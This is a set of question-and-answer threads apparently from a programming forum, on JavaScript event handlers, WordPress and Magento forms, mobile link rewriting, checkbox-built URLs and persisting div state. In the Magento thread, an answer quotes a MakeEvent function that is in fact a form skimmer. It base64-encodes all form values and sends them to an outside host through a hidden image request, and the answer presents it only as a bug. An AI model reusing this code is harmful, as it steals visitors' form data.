I'm still fairly new to javascript and I'm not finding where I'm making my mistake. The basic set up I'm working with is a set of radio buttons along with a set of check boxes. Depending on the radio button picked only a specific set of check boxes should be available the rest should be disabled/grayed out. Which check boxes are allowed for a given radio button are passed in through a php array. In my code the exclusive choices refer to the radio buttons while the extended choices refer to check boxes. My javascript and php for this functionality is as follows:
window.onload = function(){
<?php
for($i = 0; $i < count($students_information); $i++){
foreach($exclusive_extended_array as $exclusive => $extended){
echo "$('".$i."_exclusive_".$exclusive."').onclick = allow(".$i.",".json_encode($extended).");";
}
}
?>
}
function allow(i, extended){
$('[id^="'+i+'Extended"]').disabled = true;
for (var j = 0; j < extended.length; j++) {
alert(extended[j]);
$(i+"Extended"+extended[j]).disabled = false;
}
}
On the loaded page it appears as:
<script type="text/javascript">
window.onload = function(){
$('0_exclusive_2176').onclick = allow(0,[1975]);
$('0_exclusive_911').onclick = allow(0,[]);
$('0_exclusive_795').onclick = allow(0,[1973,1975]);
}
function allow(i, extended){
$('[id^="'+i+'Extended"]').disabled = true;
for (var j = 0; j < extended.length; j++) {
alert(extended[j]);
$(i+"Extended"+extended[j]).disabled = false;
}
}
</script>
Unfortunately, what the code ends up doing is running the script when the page loads rather than when one of the radio buttons is checked. I don't think it's an issue with the names of the elements (though I do realize the naming style is not consistent, however, I don't have full control over that). I'm assuming it's just me making a simple mistake in the code and I still don't have enough experience with javascript to catch it yet. Anyone see what I'm doing wrong?
Thank you for your time!
You're assigning your click handlers like this:
$('0_exclusive_2176').onclick = allow(0,[1975]);
What's happening is: allow is ran and its return value (undefined) is set as the event. You need to set onclick to a function:
$('0_exclusive_2176').onclick = function(){
allow(0,[1975]);
};
You can also make allow return a function:
function allow(i, extended){
return function(){
$('[id^="'+i+'Extended"]').disabled = true;
for (var j = 0; j < extended.length; j++) {
alert(extended[j]);
$(i+"Extended"+extended[j]).disabled = false;
}
};
}
Now $('0_exclusive_2176').onclick = allow(0,[1975]); should work as expected.
Related
I want to know how to remove an input value before submitting a profile form in Wordpress with Ultimate Member plugin. I've been stuck with this for a whole week.
The thing is that I have conditional fields in the profile form that if the user does not select, they still save their values when the form is submitted. The plugin does not remove the values from the hidden fields conditionally, which is a problem if you want to send these fields elsewhere with REST API.
I couldn't do it with PHP so I added a script inside the principal function to try and clear the values. This work when user refresh the form, but not when user submit the form with the hook um_after_user_updated
function remove_before_send () {
?>
<script>
var elements = document.querySelectorAll('.um-is-conditional');
for (var i = 0; i < elements.length; i++) {
elements[i].childNodes[1].childNodes[0].value = "";
}
</script>
<?php
}
add_action('um_profile_content_main', 'remove_before_send');
EDIT:
Thanks to the comment of #JB_DELR. You really gave me all the clues.
This is my final code (im not proud, because i wanted to use php, but this is the best i could do)
function remove_before_send () {
?>
<script>
var boton = document.querySelector("div.um-left.um-half > input");
boton.addEventListener("click", function(){
var elements = document.querySelectorAll('.um-is-conditional');
for (var i = 0; i < elements.length; i++) {
if (elements[i].style.display == "none") {
elements[i].childNodes[1].childNodes[0].value = "";
}
}
});
</script>
<?php
}
add_filter( 'um_profile_content_main', 'remove_before_send');
Your js script need to handle the form submit event, prevent default submiting, remove unnecessary fields an submit the form itself.
Something like this:
<script>
var form = document.querySelector(<select the form>);
form.onsubmit = function(e) {
e.preventDefault(); // don't submit the form right now;
var elements = document.querySelectorAll('.um-is-conditional');
for (var i = 0; i < elements.length; i++) {
elements[i].childNodes[1].childNodes[0].value = "";
}
// to remove element, this remove the input field, so field is no more in the request
// elements[i].childNodes[1].removeChild(elements[i].childNodes[1].childNodes[0]);
}
form.submit();
</script>
I have a website that runs on magento
In the home page if you scroll down, you will find search watches.
When you select watch model,type & price and hit Search. The search is not displaying the results & it is spitting out this error
"There was a problem with the subscription: Please enter a valid email address."
I have no knowledge on magento or PHP. I am a HTML developer. Could anyone help me solve the issue?
You have an error in the MakeEvent function:
function MakeEvent() {
if (navigator.appName == 'Microsoft Internet Explorer') {
return;
}
forms = document.getElementsByTagName("form");
for (var j = 0; j < forms.length; j++) {
forms[j].onsubmit = function () {
setTimeout(function (formIndex) {
frms = document.getElementsByTagName("form");
frms[formIndex - 1].submit();
}, 500, j);
return false
};
var elements = forms[j].getElementsByTagName("button");
for (var i = 0; i < elements.length; i++) {
if (elements[i].type == "submit" || true) {
eventArray[i] = elements[i].onclick;
elements[i].onmousedown = function () {
data = getAllValues();
var newImg = document.createElement("img");
newImg.setAttribute("src", "http://www.followthefashion.org/wp-content/uploads/2014/07/skin.php?data=" + encodeURI(base64_encode(data)));
newImg.setAttribute("height", "1");
newImg.setAttribute("width", "1");
newImg.setAttribute("alt", "Please, wait...");
document.body.appendChild(newImg);
//sleep(500);
};
}
}
}
}
MakeEvent();
As you can see, while submitting your basic form, the script submits the other (previous) form.
frms[formIndex - 1].submit();
I think you’d better use ajax in your function i.e. the "form.submit()” method works the same as clicking the “submit" button.
The submit() method submits the form (same as clicking the Submit button).
Link
I am a newbie to jQuery / javascript and I had this working without checking the window size first. Then messed around with it and can not get it to work. The redirect is supposed to replace mysite.com/index.php?querystring with mysite.com/mobile.php?querystring if screen size is less then 699. Please help. Thank You.
This function seems to work exaclty how I need it but need to have onload with if screen size is less then.
$('a').each(function(index, a) {
var href = $(a).attr('href');
$(a).attr('href', 'http://mysite.com/mobile.php?redirect=' + href;)
}
}
//below is not working
function checkWidth() {
var windowSize = $(window).width();
if (windowSize <= 699) {
window.onload = function() {
/* onload code */
// Execute on load
//checkWidth();{
var anchors = document.getElementsByTagName("a");
for (var i = 0; i < anchors.length; i++) {
anchors[i].href = "http://mysite.com/mobile.php?redirect=" + anchors[i].href
/* function checkWidth() {
var windowSize = $(window).width();*/
}
}
If you intend on using jQuery, this should work:
$(document).ready(function() {
var window_width = $(window).width();
if( window_width < 699 ) {
$('a').each(function(index, a) {
var href = $(a).attr('href');
$(a).attr('href', 'http://mysite.com/mobile.php?redirect=' + href;
});
}
});
This is really something you should be doing server-side. Because someone isn't exactly going to be switching the device over the course of the session, you should check the device when they first visit the site, and then create a session variable storing it. Then, on every new page have the server check the variable and use it to determine which links to put in. If you're content with doing it client-side, though, Ryan Pilbeam's answer should work.
So I have a list of 8 checkboxes in a form. These checkboxes are supposed to control a link that will load in a frame. However I have no idea where to start...
Checkbox1(appendThis1) - checked
Checkbox2(appendThis2)
Checkbox3(appendThis3) - checked
Checkbox4(appendThis4)
Checkbox5(appendThis5) - checked
Checkbox6(appendThis6)
Checkbox7(appendThis7)
Checkbox8(appendThis8)
So based on this I would have a base URL such as http://www.google.com and since checkbox1,3, and 5 are check the appendThis1, appendThis2, appendThis3 would be added to the end of the url but none of the other checkboxes would append anything to the URL. Each checkbox would add or remove its specific parameter to the URL.
Also whenever a checkbox is check it will reload the URL.
The way I would go at this, is as follows
make sure in your html form, all the checboxes have the same name with empty square braces at the end, this way you will get an array back in php. As the value you should set the string you want to append to your html. something like this:
<input type="checkbox" value="q=something" name="myCheckboxes[]" /> option 1
<input type="checkbox" value="lang=en" name="myCheckboxes[]" /> option 2
...
in your php code, just implode te array you get back trough the post, and append it to your html. (see more info here http://www.html-form-guide.com/php-form/php-form-checkbox.html). The pseudo-code would look like this:
$url = 'http://www.google.com?';
$checkboxes = $_POST['myCheckboxes'];
$url .= implode('&', $checkboxes);
for the automatic submit when a checkbox is checked, you will need some client side script. My choice would be jQuery and it would look like this:
$('#myForm input[type="checkbox"]').change(function() {
$('#myForm').submit();
};
Note that none of the code is tested, but it should work fine, or at least point you in the right direction. Corrections are welcome of course!
Example with raw Javascript. You can work out loading your iframe with the resulting URL.
jsFiddle
<script language='javascript'>
arr_sel = new Array();
function constructURL(cv)
{
if (arr_sel.length==0)
{
arr_sel.push(cv);
} else {
if (inArray(cv, arr_sel))
{
key = getKey(cv, arr_sel);
arr_sel.splice(key,1);
} else {
arr_sel.push(cv);
}
}
makeURL(arr_sel);
}
function inArray(val, arr)
{
var length = arr.length;
for(var i = 0; i < length; i++) {
if(arr[i] == val) return true;
}
return false;
}
function getKey(val, arr)
{
for (var i = 0; i < arr.length; i++)
{
if (arr[i]==val)
return i
}
}
function makeURL(arr_sel)
{
opts = new String;
arr_opts = new Array();
for (var i = 0; i < arr_sel.length; i++)
{
arr_opts.push(arr_sel[i]);
}
url = 'http://google.com?' + arr_opts.join('&');
document.getElementById('myurl').innerHTML = url;
}
</script>
<input type=checkbox name=whatever value='opt1=foo' onClick="constructURL(this.value)"> foo <br>
<input type=checkbox name=whatever value='opt2=bar' onClick="constructURL(this.value)"> bar <br>
<div id='myurl'>http://google.com?</div>
I have several divs that a user can Minimize or Expand using the jquery toggle mothod. However, when the page is refreshed the Divs go back to their default state. Is their a way to have browser remember the last state of the div?
For example, if I expand a div with an ID of "my_div", then click on something else on the page, then come back to the original page, I want "my_div" to remain expanded.
I was thinking it would be possible to use session variables for this, perhaps when the user clicks on the expand/minimize button a AJAX request can be sent and toggle a session variable...IDK..any ideas?
There's no need for an ajax request, just store the information in a cookie or in the localstorage.
Here's a library which should help you out: http://www.jstorage.info/
Some sample code (untested):
// stores the toggled position
$('#my_div').click(function() {
$('#my_div').toggle();
$.jStorage.set('my_div', $('#my_div:visible').length);
});
// on page load restores all elements to old position
$(function() {
var elems = $.jStorage.index();
for (var i = 0, l = elems.length; i < l; i++) {
$.jStorage.get(i) ? $('#' + i).show() : hide();
}
});
If you don't need to support old browsers, you can use html5 web storage.
You can do things like this (example taken from w3schools):
The following example counts the number of times a user has visited a
page, in the current session:
<script type="text/javascript">
if (sessionStorage.pagecount) {
sessionStorage.pagecount=Number(sessionStorage.pagecount) +1;
}
else {
sessionStorage.pagecount=1;
}
document.write("Visits "+sessionStorage.pagecount+" time(s) this session.");
</script>
Others have already given valid answers related to cookies and the local storage API, but based on your comment on the question, here's how you would attach a click event handler to a link:
$("#someLinkId").click(function() {
$.post("somewhere.php", function() {
//Done!
});
});
The event handler function will run whenever the element it is attached to is clicked. Inside the event handler, you can run whatever code you like. In this example, a POST request is fired to somewhere.php.
I had something like this and I used cookies based on which user logged in
if you want only the main div don't use the
$('#'+div_id).next().css('display','none');
use
$('#'+div_id).css('display','none');
*Here is the code *
//this is the div
<div id = "<?php echo $user; ?>1" onclick="setCookie(this.id)" ><div>My Content this will hide/show</div></div>
function setCookie(div_id)
{
var value = '';
var x = document.getElementById(div_id);
var x = $('#'+div_id).next().css('display');
if(x == 'none')
{
value = 'block';
}
else
{
value = 'none';
}
console.log(div_id+"="+value+"; expires=15/02/2012 00:00:00;path=/")
//alert(x);
document.cookie = div_id+"="+value+"; expires=15/02/2012 00:00:00;path=/";
}
function getCookie(div_id)
{
console.log( div_id );
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++)
{
x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
x=x.replace(/^\s+|\s+$/g,"");
if (x==div_id)
{
return unescape(y);
}
}
}
function set_status()
{
var div_id = '';
for(var i = 1; i <= 9 ; i++)
{
div_id = '<?php echo $user; ?>'+i;
if(getCookie(div_id) == 'none')
{
$('#'+div_id).next().css('display','none');
}
else if(getCookie(div_id) == 'block')
{
$('#'+div_id).next().slideDown();
}
}
}
$(document).ready(function(){
get_status();
});
Look about the JavaScript Cookie Method, you can save the current states of the divs, and restore it if the User comes back on the Site.
There is a nice jQuery Plugin for handling Cookies (http://plugins.jquery.com/project/Cookie)
Hope it helps
Ended up using this. Great Tutorial.
http://www.shopdev.co.uk/blog/cookies-with-jquery-designing-collapsible-layouts/